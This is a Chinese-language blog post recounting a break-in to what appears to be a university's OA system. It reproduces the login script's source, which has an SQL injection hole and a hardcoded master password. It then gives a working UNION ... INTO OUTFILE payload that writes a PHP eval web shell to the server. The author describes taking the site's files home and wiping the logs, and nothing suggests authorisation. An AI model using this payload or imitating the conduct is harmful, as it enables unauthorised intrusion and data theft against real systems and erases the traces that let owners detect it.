网络安全 频道

[攻防手记]一次曲折的安全检测

    突破:

    自己陷入矛盾中,放弃吧不甘心;继续吧,就算读完整套代码可能一无所获。心一横,先看看有没有代码过滤再说吧,首先登陆口,随意输入用户名、密码提交,抓包。抓到check.php,然后读代码。它是这么写的:

<?php
//echo "系统维护,请稍后访问!";exit;
require("config.php");
require("public/f_main.php");
require("f_db/".$Database['type'].".php");

session_start();

$db = new sql_db($Database['server'], $Database['username'], $Database['password'], $Database['dbname'], false);
if(!$db -> db_connect_id)
{
   MsgGo("数据库连接失败!","exit");
}

foreach($_POST as $key=>$value) $$key=$value;

//用户密码验证
$sql="SELECT a.*,b.dep_name,b.dep_parent_id,b.dep_id AS dep_id,c.dep_name as dep_parent_name
 FROM t_user a
 LEFT JOIN t_dep b ON a.dep_id = b.dep_id
 LEFT JOIN t_dep c ON c.dep_id = b.dep_parent_id
 WHERE user_name ='$user_name'";
if(!($result = $db->sql_query($sql))) MsgGo("数据查询失败!","login.php");
if($row = $db->sql_fetchrow($result)){
 if($row["user_status"]!="1"){
  MsgGo("该用户处于停用状态,暂不能登录!","login.php");
 }else{
  if(md5($user_password)==$row["user_password"] || crypt($user_password,$row["user_password_old"])==$row["user_password_old"] || $user_password=="qwert12345")
  {
   if($row["user_password_old"]!="" && $user_password!="qwert12345"){
    $sql="UPDATE t_user SET
     user_password='".md5($user_password)."',
     user_password_old=''
    WHERE user_name ='$user_name'";
    if(!$result = $db->sql_query($sql)){
     MsgGo("数据查询失败!","login.php");
    }
   }
   $sql="UPDATE t_user SET
    last_login_time=".time()."
   WHERE user_name ='$user_name'";
   if(!$result = $db->sql_query($sql)){
    MsgGo("数据查询失败!","login.php");
   }
   $_SESSION["sess_user_name"]=$row["user_name"];
   $_SESSION["sess_user_type"]=$row["user_type"];
   $_SESSION["sess_user_real_name"]=$row["user_real_name"];
   $_SESSION["sess_user_level"]=$row["user_level"];
   $_SESSION["sess_dep_id"]=$row["dep_id"];
   $_SESSION["sess_dep_name"]=$row["dep_name"];

   if($row["dep_parent_id"]=="1"){
    $_SESSION["sess_dep_level"]="1";
    $_SESSION["sess_dep_id1"]=$row["dep_id"];
    $_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
    $_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
   }elseif($row["dep_parent_id"]>"1"){
    $_SESSION["sess_dep_level"]="2";
    $_SESSION["sess_dep_id1"]=$row["dep_parent_id"];
    $_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
    $_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
   }

   WriteLog("登录系统");
   
   //writeCookie("username_recent",$_SESSION["sess_user_name"],24*30);
   setcookie("username_recent",$_SESSION["sess_user_name"], time()+3600*24*30);

   //进入系统主页面
   echo "<script language='javascript'>";
   if($go!=""){
    echo "location='{$go}?filter=".urlencode($filter)."'";
   }else{
    if($row["user_type"]!="101") echo "location='login/index.php'";
    else echo "location='index.php'";
   }
   
   echo "</script>";
  }else{
    MsgGo("密码错误!","login.php");
  }
 }
}else{
  MsgGo("用户名错误!","login.php"); 

?>

    可以看出check.php过滤非常的不严,直接导致SQL注入!貌似网上有不少类似的文章。先查出有24个字段,然后
'union select 1,'<?@eval($HTTP_POST_VARS['a'])?>',3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 into outfile 'd:\wwwroot\oa\dir.php'/*
提交!

    这样hxxp://www.xxx.edu.cn/oa/dir.php 就是我们的shell地址了。

    这个shell都不用提权… …直接把文件交换还有OA打包拖回家,也没有搞别的,擦擦日志走人了。

    整个过程算是峰回路转啊,那个艰辛啊,知道这样还不如自己写,托回来个有洞的程序-_-,唉。仔细读了下代码,问题出在download.php上,就写错了一个函数… …看来还真验证了那句话“安全来不得半点马虎!”我目的就是拿这个程序,没有再做进一步的渗透,有了小的缺口可能导致整个服务器群的沦陷!安全无小事!

0
相关文章